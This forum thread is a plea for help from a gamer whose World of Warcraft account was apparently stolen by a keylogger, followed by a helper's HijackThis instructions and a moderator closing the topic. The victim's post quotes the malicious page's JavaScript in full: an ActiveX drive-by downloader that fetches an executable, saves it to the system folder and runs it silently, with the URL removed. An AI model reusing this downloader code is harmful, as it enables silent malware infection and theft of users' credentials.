Help with a keylogger, urgent.

[Purgedom2]

This is my first time posting on these boards, so sorry ahead of time if this is the wrong forum.


Anyways, I seem to have picked up a Keylogger recently while browsing the forums over at www.worldofwarcraft.com.

There was a "Rogue PVP Video" thread floating around which contained a bad link that brought you to a fake 404 page that immediatly infected your computer with a keylogger.

I lost my account and character on World of warcraft, and i cannot get it back.


Anyways, I still have this keylogger on my comp. How do i get rid of it?

The program is in my processes under "Svchqs.exe" and it opens everytime i restart my computer.

My full forum post discussing and warning about this link can be found here:
http://forums.worldofwarcraft.com/thread.html?topicId=12952459&pageNo=1



Basically in the source of the page this happens:

"function gn{var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';}try{dl="<<purposefully removed, link to an malicous exeutable>>";var df=document.createElement("object");df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");var S=df.CreateObject("Adodb.Stream","");S.type=1;x.open("GET", dl,0);x.send();fname1=gn(10000);var F=df.CreateObject("Scripting.FileSystemObject","");var tmp=F.GetSpecialFolder(0);fname1= F.BuildPath(tmp,fname1);S.Open();S.Write(x.responseBody);S.SaveToFile(fname1,2);S.Close();var Q=df.CreateObject("Shell.Application","");Q.ShellExecute(fname1,"","","open",0);}catch(i){i=1;} "


According to some guy in the forum, anyways. Im no computer genious, just a guy who likes to play video games and is bummed that all his hard work for 2 years is completely gone, and my account is still inaccessible, and the keylogger is STILL on my computer.


I have run Spybot, Adaware, AVG and updated everything. Its still there. I use windows XP professional.

 

[illukka]

hi

* Click here to download HJTsetup.exe

• Save HJTsetup.exe to your desktop.
• Doubleclick on the HJTsetup.exe icon on your desktop.
• By default it will install to C:\Program Files\Hijack This.
• Continue to click Next in the setup dialogue boxes until you get to the Select Addition Tasks dialogue.
• Put a check by Create a desktop icon then click Next again.
• Continue to follow the rest of the prompts from there.
• At the final dialogue box click Finish and it will launch Hijack This.
• Click on the Do a system scan and save a logfile button. It will scan and the log should open in notepad.
• Click on "Edit > Select All" then click on "Edit > Copy" to copy the entire contents of the log.
• Come back here to this thread and Paste the log in your next reply.
• DO NOT have Hijack This fix anything yet. Most of what it finds will be harmless or even required.

 

[tashi]

:scratch:
This topic is closed due to lack of a response to helper, if you need it re-opened please send me a private message (pm) and provide a link to the thread.

Applies only to the original topic starter.